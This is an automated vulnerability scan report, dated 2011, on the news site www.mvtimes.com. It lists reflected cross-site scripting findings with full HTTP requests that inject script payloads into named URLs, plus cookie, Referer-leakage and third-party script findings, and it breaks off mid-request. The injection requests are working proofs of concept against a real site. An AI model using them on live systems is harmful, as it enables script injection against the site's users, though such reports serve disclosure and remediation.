XSS, Cross Site Scripting, CWE-79, CAPEC-86, www.mvtimes.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 12 10:33:30 CDT 2011.


Loading

1. Cross-site scripting (reflected)

1.1. http://www.mvtimes.com/marthas-vineyard/article.php [id parameter]

1.2. http://www.mvtimes.com/marthas-vineyard/article.php [name of an arbitrarily supplied request parameter]

1.3. http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E [REST URL parameter 4]

1.4. http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E [name of an arbitrarily supplied request parameter]

2. Cookie without HttpOnly flag set

2.1. http://www.mvtimes.com/marthas-vineyard/directory/

2.2. http://www.mvtimes.com/marthas-vineyard/includes/common/captchaImage.php

3. Cross-domain Referer leakage

3.1. http://www.mvtimes.com/marthas-vineyard/article.php

3.2. http://www.mvtimes.com/marthas-vineyard/article.php

3.3. http://www.mvtimes.com/marthas-vineyard/directory/

4. Cross-domain script include

4.1. http://www.mvtimes.com/archives/

4.2. http://www.mvtimes.com/expired.php

4.3. http://www.mvtimes.com/marthas-vineyard/article.php

4.4. http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E

4.5. http://www.mvtimes.com/marthas-vineyard/directory/

4.6. http://www.mvtimes.com/marthas-vineyard/on-island.php



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.mvtimes.com/marthas-vineyard/article.php [id parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/article.php

Issue detail

The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e10a1"><script>alert(1)</script>06dfa831a6f was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /marthas-vineyard/article.php?id=4030e10a1"><script>alert(1)</script>06dfa831a6f HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/directory/?a=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=340f9a2f4e744e94e83d808165edd48d; __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.5.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:17:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 25573

A database error occurredA database error occurredA database error occurred<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="ht
...[SNIP]...
<a href="/print/web2printer4.php?img=0&amp;lnk=0&amp;style=/styles/common/print.css&amp;page=http://www.mvtimes.com/marthas-vineyard/article.php?id=4030e10a1"><script>alert(1)</script>06dfa831a6f">
...[SNIP]...

1.2. http://www.mvtimes.com/marthas-vineyard/article.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/article.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98c05"><script>alert(1)</script>730302c3221 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /marthas-vineyard/article.php?id=4030&98c05"><script>alert(1)</script>730302c3221=1 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/directory/?a=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=340f9a2f4e744e94e83d808165edd48d; __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.5.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:17:34 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 31188

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
<a href="/print/web2printer4.php?img=0&amp;lnk=0&amp;style=/styles/common/print.css&amp;page=http://www.mvtimes.com/marthas-vineyard/article.php?id=4030&98c05"><script>alert(1)</script>730302c3221=1">
...[SNIP]...

1.3. http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 302e4"><script>alert(1)</script>2c94143d614 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /marthas-vineyard/classifieds/110.php/%22onmouseover302e4"><script>alert(1)</script>2c94143d614=prompt(945581)%3E HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:15:52 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 29379

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
<a href="/print/web2printer4.php?img=0&amp;lnk=0&amp;style=/styles/common/print.css&amp;page=http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover302e4"><script>alert(1)</script>2c94143d614=prompt(945581)%3E">
...[SNIP]...

1.4. http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e1ab"><script>alert(1)</script>bf94dc26cb6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E?6e1ab"><script>alert(1)</script>bf94dc26cb6=1 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:15:40 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 29354

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
<a href="/print/web2printer4.php?img=0&amp;lnk=0&amp;style=/styles/common/print.css&amp;page=http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E?6e1ab"><script>alert(1)</script>bf94dc26cb6=1">
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://www.mvtimes.com/marthas-vineyard/directory/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/directory/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /marthas-vineyard/directory/?a=1 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/on-island.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.4.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:16:46 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=a8d8e35751186e367b10f53a8a6cfc62; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 25263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- InstanceBegin template="/Templates/gene
...[SNIP]...

2.2. http://www.mvtimes.com/marthas-vineyard/includes/common/captchaImage.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/includes/common/captchaImage.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /marthas-vineyard/includes/common/captchaImage.php?width=120&height=40&characters=6&code=yn4p7r HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/article.php?id=4030
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=340f9a2f4e744e94e83d808165edd48d; __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.6.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:17:08 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Set-Cookie: captchaCode=yn4p7r; expires=Wed, 13-Apr-2011 15:17:08 GMT; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: image/jpeg
Content-Length: 3448

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C...........        .
................... $.' ",#..(7),01444.'9=82<.342...C.            .....2!.!2222222222222222222222222222
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.mvtimes.com/marthas-vineyard/article.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/article.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /marthas-vineyard/article.php?id=4030 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/directory/?a=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=340f9a2f4e744e94e83d808165edd48d; __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.5.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:17:04 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 30930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
</a> | <a href="http://mvtimes.mycapture.com/mycapture/index.asp">Buy Photos</a>
...[SNIP]...
<div class="addthis_toolbox addthis_default_style" style="float:left;font-size:12px;line-height:16px;margin-left:100px;">
<a href="http://www.addthis.com/bookmark.php?v=250&amp;username=mvtimes" class="addthis_button_compact">Share</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=mvtimes"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div id="rtCol">
<a href="http://www.mvbank.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/mvbank.com--poster--home--ros');"><img src="/images/sda/300x250/8.27.jpg" width="300" height="250" alt="MV Savings Bank, Martha's Vineyard" /></a>
<a href="http://www.steamshipauthority.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/steamshipauthority.com--poster--home--ros');"><img src="/images/sda/300x250/6.24.10.jpg" width="300" height="250" alt="Steamship Authority, Martha's Vineyard" /></a>
<a href="http://www.capeair.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/capeair.com--poster--home--ros');"><img src="/images/sda/300x250/MV-Times-2011.jpg" width="300" height="250" alt="Cape Air, Martha's Vineyard" /></a>
<a href="http://www.chrystalangelini.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/chrystalangelini.com--poster--home--ros');"><img src="/images/sda/300x250/Chrystal-Angelini_Apr.png" width="300" height="250" alt="Chrystal Angelini, Martha's Vineyard" /></a>
<a href="http://www.mvflorist.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/mvflorist.com--poster--home--ros');"><img src="/images/sda/300x250/MVFlorist_MothersDay3.png" width="300" height="250" alt="MV Florist, Martha's Vineyard" /></a>
<a href="http://www.mvinsurance.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/mvinsurance.com--poster--home--ros');"><img src="/images/sda/300x250/MV-Insurance.png" width="300" height="250" alt="MV Insurance, Martha's Vineyard" />
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<li><a href="http://mvtimes.mycapture.com/mycapture/index.asp">Buy Photos</a>
...[SNIP]...

3.2. http://www.mvtimes.com/marthas-vineyard/article.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/article.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /marthas-vineyard/article.php?id=4030 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/directory/?a=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=340f9a2f4e744e94e83d808165edd48d; __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.5.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:17:04 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 31160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
</a> | <a href="http://mvtimes.mycapture.com/mycapture/index.asp">Buy Photos</a>
...[SNIP]...
<div class="addthis_toolbox addthis_default_style" style="float:left;font-size:12px;line-height:16px;margin-left:100px;">
<a href="http://www.addthis.com/bookmark.php?v=250&amp;username=mvtimes" class="addthis_button_compact">Share</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=mvtimes"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div id="rtCol">
<a href="http://www.mvbuyeragents.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/mvbuyeragents.com--poster--home--ros');"><img src="/images/sda/300x250/MVBA-300x250.jpg" width="300" height="250" alt="MV Buyer Agents, Martha's Vineyard" /></a>
<a href="http://www.islandrealestatemv.com/index.php" onclick="javascript: pageTracker._trackPageview('/outgoing/www.islandrealestatemv.com/commercial--poster--home--ros');"><img src="/images/sda/300x250/island-re-rare-comm-edg.png" width="300" height="250" alt="Island Real Estate, Martha's Vineyard" /></a>
<a href="http://www.greenvineyard.net/" onclick="javascript: pageTracker._trackPageview('/outgoing/greenvineyard.net--poster--home--ros');"><img src="/images/sda/300x250/hgyv_300x250.jpg" width="300" height="250" alt="Green Vineyard, Martha's Vineyard" /></a>
<a href="http://www.chrystalangelini.com/" onclick="javascript: pageTracker._trackPageview('/outgoing/chrystalangelini.com--poster--home--ros');"><img src="/images/sda/300x250/Chrystal-Angelini_Apr.png" width="300" height="250" alt="Chrystal Angelini, Martha's Vineyard" /></a>
<a href="http://www.hobknobrealty.com/p.php/sales/privatelyoffered " onclick="javascript: pageTracker._trackPageview('/outgoing/hobknobrealty.com/p.php/sales/privatelyoffered --poster--home--ros');"><img src="/images/sda/300x250/HobKnob-Tilton.png" width="300" height="250" alt="Hob Knob Realty, Martha's Vineyard" /></a>
<a href="http://www.carolinetaylorproperties.com/vineyard_property_for_sale.html" onclick="javascript: pageTracker._trackPageview('/outgoing/carolinetaylorproperties.com--poster--home--ros');"><img src="/images/sda/300x250/caroline_taylor-a_JanesCove.png" width="300" height="250" alt="Caroline Taylor Properties, Martha's Vineyard" />
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<li><a href="http://mvtimes.mycapture.com/mycapture/index.asp">Buy Photos</a>
...[SNIP]...

3.3. http://www.mvtimes.com/marthas-vineyard/directory/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/directory/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /marthas-vineyard/directory/?a=1 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/on-island.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.4.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:16:46 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=a8d8e35751186e367b10f53a8a6cfc62; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 25263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- InstanceBegin template="/Templates/gene
...[SNIP]...
</a> | <a href="http://mvtimes.mycapture.com/mycapture/index.asp">Buy Photos</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div id="rtCol">
<a href="http://www.mvsharks.com/view/mvsharks/mv-sharks-headlines" onclick="javascript: pageTracker._trackPageview('/outgoing/mvsharks.com/buckner--poster--eat--drink');"><img src="/images/sda/300x250/MVSharks_BillBuckner75.png" width="300" height="250" alt="MV Sharks, Martha's Vineyard" /></a>
<a href="http://www.farminstitute.org/" onclick="javascript: pageTracker._trackPageview('/outgoing/farminstitute.org/CSA--poster--eat--drink');"><img src="/images/sda/300x250/Meat-&-Eggs.png" width="300" height="250" alt="Farm Institute, Martha's Vineyard" />
...[SNIP]...
<li><a href="http://mvtimes.mycapture.com/mycapture/index.asp">Buy Photos</a>
...[SNIP]...

4. Cross-domain script include  previous
There are 6 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.mvtimes.com/archives/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /archives/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /archives/ HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/expired.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.2.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:16:35 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 51167

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- InstanceBegin template="/Templates/gene
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

4.2. http://www.mvtimes.com/expired.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /expired.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /expired.php HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E
